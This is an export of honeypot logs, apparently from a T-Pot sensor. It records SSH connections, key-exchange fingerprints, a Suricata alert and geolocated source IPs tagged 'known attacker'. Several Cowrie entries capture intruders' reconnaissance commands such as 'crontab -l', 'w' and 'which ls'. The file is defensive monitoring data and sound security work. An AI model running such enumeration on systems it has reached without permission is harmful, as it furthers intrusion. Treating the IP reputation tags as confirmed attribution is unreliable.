"voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36681	178.128.198.1	109.199.241.180	Suricata	2021-09-20 15:16:58.920915+03	2021-09-20 15:30:02.597868+03	{"_id": "sgYjA3wBvYTbRNuEU2Qu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:16:58.854617+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 399442624252505, "payload": "AAADHAkUj7bijtrQNCG1+kl0bhodUwAAAHFjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAVWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIAAABVYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxjaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cgAAAEJobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABCaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAC57cYAlnKqtE4=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56004, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:16:58.920915Z", "@timestamp": "2021-09-20T12:16:58.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............4!..Itn..S...qcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..................r..N"}}	1	\N	\N	alert	known attacker	DE
36682	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:58.888793+03	2021-09-20 15:30:02.598868+03	{"_id": "tQYjA3wBvYTbRNuEVGQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.198.1", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56004, "timestamp": "2021-09-20T12:16:58.888793", "@timestamp": "2021-09-20T12:16:58.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36683	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:59.403643+03	2021-09-20 15:30:02.600868+03	{"_id": "wwYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.14.9", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5549745559692383, "duplicate": true, "timestamp": "2021-09-20T12:16:59.403643Z", "@timestamp": "2021-09-20T12:16:59.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36684	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 15:16:58.921218+03	2021-09-20 15:30:02.601869+03	{"_id": "xgYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr"], "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6", "session": "e9bb7de475eb", "@version": "1", "timestamp": "2021-09-20T12:16:58.921218Z", "@timestamp": "2021-09-20T12:16:58.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	known attacker	DE
36685	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:53.180048+03	2021-09-20 15:30:02.602869+03	{"_id": "jwYjA3wBvYTbRNuEPmSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:53.180048Z", "@timestamp": "2021-09-20T12:16:53.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36687	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:55.071138+03	2021-09-20 15:30:02.605868+03	{"_id": "mAYjA3wBvYTbRNuERmRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:55.071138Z", "@timestamp": "2021-09-20T12:16:55.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36688	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:55.07163+03	2021-09-20 15:30:02.607868+03	{"_id": "mQYjA3wBvYTbRNuERmRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:55.071630Z", "@timestamp": "2021-09-20T12:16:55.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36689	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:56.019579+03	2021-09-20 15:30:02.608867+03	{"_id": "oQYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:56.019579Z", "@timestamp": "2021-09-20T12:16:56.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36690	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:16:56.492928+03	2021-09-20 15:30:02.609869+03	{"_id": "owYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:55114 (192.168.176.2:22) [session: fd4f8bfcc9ba]", "session": "fd4f8bfcc9ba", "@version": "1", "protocol": "ssh", "src_port": 55114, "dest_port": 22, "timestamp": "2021-09-20T12:16:56.492928Z", "@timestamp": "2021-09-20T12:16:56.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36691	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:16:56.49588+03	2021-09-20 15:30:02.610869+03	{"_id": "pAYjA3wBvYTbRNuESmRX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fd4f8bfcc9ba", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:56.495880Z", "@timestamp": "2021-09-20T12:16:56.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36692	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:16:56.786177+03	2021-09-20 15:30:02.612869+03	{"_id": "pgYjA3wBvYTbRNuES2Re", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 2121013692730978, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55114, "dest_port": 22, "timestamp": "2021-09-20T12:16:56.786177Z", "@timestamp": "2021-09-20T12:16:56.786Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36693	36.27.214.211	109.199.241.180	Fatt	2021-09-20 15:16:56.786596+03	2021-09-20 15:30:02.613869+03	{"_id": "qQYjA3wBvYTbRNuETGRf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55114, "dest_port": 22, "timestamp": "2021-09-20T12:16:56.786596", "@timestamp": "2021-09-20T12:16:56.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36694	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:56.958478+03	2021-09-20 15:30:02.614867+03	{"_id": "qgYjA3wBvYTbRNuETmRA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:56.958478Z", "@timestamp": "2021-09-20T12:16:56.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36695	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:56.959028+03	2021-09-20 15:30:02.615867+03	{"_id": "qwYjA3wBvYTbRNuETmRA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:56.959028Z", "@timestamp": "2021-09-20T12:16:56.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36696	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:57.512704+03	2021-09-20 15:30:02.616869+03	{"_id": "rAYjA3wBvYTbRNuETmRA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.14.9", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5543041229248047, "duplicate": true, "timestamp": "2021-09-20T12:16:57.512704Z", "@timestamp": "2021-09-20T12:16:57.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36697	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:58.878087+03	2021-09-20 15:30:02.618869+03	{"_id": "yQYjA3wBvYTbRNuEVmQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2329 (192.168.176.2:22) [session: 273c1e7e233e]", "session": "273c1e7e233e", "@version": "1", "protocol": "ssh", "src_port": 2329, "dest_port": 22, "timestamp": "2021-09-20T12:16:58.878087Z", "@timestamp": "2021-09-20T12:16:58.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36698	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 15:16:58.887623+03	2021-09-20 15:30:02.619867+03	{"_id": "ygYjA3wBvYTbRNuEVmQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.198.1:56004 (192.168.176.2:22) [session: e9bb7de475eb]", "session": "e9bb7de475eb", "@version": "1", "protocol": "ssh", "src_port": 56004, "dest_port": 22, "timestamp": "2021-09-20T12:16:58.887623Z", "@timestamp": "2021-09-20T12:16:58.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	DE
